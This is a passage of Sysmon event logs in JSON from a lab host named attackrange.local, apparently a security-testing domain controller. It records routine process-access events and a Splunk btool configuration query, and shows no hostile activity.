588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1893,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1894,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1895,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00107C380300}\r\nTargetProcessId: 3572\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00107C380300}","TargetProcessId":"3572","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1896,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.941\r\nProcessGuid: {90617006-3FE7-5F2D-0000-00102A390300}\r\nProcessId: 3924\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nFileVersion: 8.0.2\r\nDescription: btool\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: btool.exe\r\nCommandLine: btool server list replication_port --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B\r\nParentProcessGuid: {90617006-3FE7-5F2D-0000-00107C380300}\r\nParentProcessId: 3572\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list replication_port --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.941","ProcessGuid":"{90617006-3FE7-5F2D-0000-00102A390300}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","FileVersion":"8.0.2","Description":"btool","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"btool.exe","CommandLine":"btool server list replication_port --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B","ParentProcessGuid":"{90617006-3FE7-5F2D-0000-00107C380300}","ParentProcessId":"3572","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list replication_port --no-log","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1897,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FE7-5F2D-0000-00107C380300}\r\nSourceProcessId: 3572\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00102A390300}\r\nTargetProcessId: 3924\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FE7-5F2D-0000-00107C380300}","SourceProcessId":"3572","SourceThreadId":"3932","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00102A390300}","TargetProcessId":"3924","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1898,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE7-5F2D-0000-00102A390300}\r\nTargetProcessId: 3924\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE7-5F2D-0000-00102A390300}","TargetProcessId":"3924","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1899,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1900,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.937","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1901,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.937\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 